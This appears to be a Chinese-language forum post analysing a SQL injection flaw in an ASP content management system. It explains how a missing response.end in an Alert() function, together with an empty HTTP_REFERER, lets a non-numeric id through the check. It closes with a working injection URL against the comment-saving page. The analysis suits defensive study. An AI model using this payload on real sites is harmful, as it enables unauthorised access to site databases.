最近在测试一个网站时,提交/admin/,浏览器闪现了"无忧网络管理系统",GOOGLE搜索下载了一份最新版的源代码,发现问题如下:
文件..\plus\comment\save.asp
23行:Dim Comment_Aid,Comment_User,Comment_Content
24行:Comment_Aid = Request("id")
此外部提交的id值会被插入SQL语句中如下:
55行:Set Ns = DB("Select [ID],[Cid],[Comments],[IsComment] From [{pre}Content] Where [ID]=" & Comment_Aid,3)
24到55行之间开发人员加了伪过滤代码如下:
44行:if Len(Comment_Aid) = 0 Or Not IsNumeric(Comment_Aid) Then Call Alert(Plus.Lang("iderr"),Gourl)
45I行:f Len(Comment_User) < 2 Then Comment_User = "Guest"
46行:If Len(Comment_Content) < Plus.Config("contentmin") Then Call Alert(replace(Plus.Lang("contentmin"),"$1",Plus.Config("contentmin")),Gourl)
44行的要求是id必须有值,且必须是数字型,否则将会调用Alert(),搜索该函数如下:
文件..\inc\function.asp
193行: function Alert(byval Msgstr,byval Url)
if len(Url) > 0 then
on error resume next
if Isobject(conn) then conn.close ' 关闭数据库链接
if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示
response.write "<Script>location.href='" & Url & "';</Script>" ' 跳转
response.end
else
if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示
end if
end function
该函数里是一个嵌套的if结构,如果Url为空,那么执行else之后的代码:
if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示
此语句仅仅打印了错误信息,并没有执行response.end,所以导致Alert()对id的数据类型检测失败,,,最终导致了SQL注入的发生
那么Url这个关键的跳转变量怎么来的呢,回去看save.asp文件
9行:Dim Gourl : Gourl = Request.ServerVariables("HTTP_REFERER")
这个就是罪魁祸首了,以下内容摘自网络:
“asp中Request.ServerVariables("HTTP_REFERER")可以取得来源地址。
以下情况可以取得值:
1.直接用<a href>
2.用Submit或<input type=image>提交的表单(POST or GET)
3.使用Jscript提交的表单(POST or GET)
以下情况不能取得值:
1.从收藏夹链接
2.单击'主页'或者自定义的地址
3.利用Jscript的location.href or location.replace()
4.在浏览器直接输入地址
5.<%Response.Redirect%>
6.<%Response.AddHeader%>或<meta http-equiv=refresh>转向
7.用XML加载地址 ”
在上面不可取值的第4条中,说明了,直接构造的该访问路径,使得Gourl 为空
测试:
(access 数据库)http://www.xxxx.com/plus/comment/save.asp?user=test&content=aaaaaa&id=1 and 0<>(select count(*) from 5U_Admin)
作者: asmc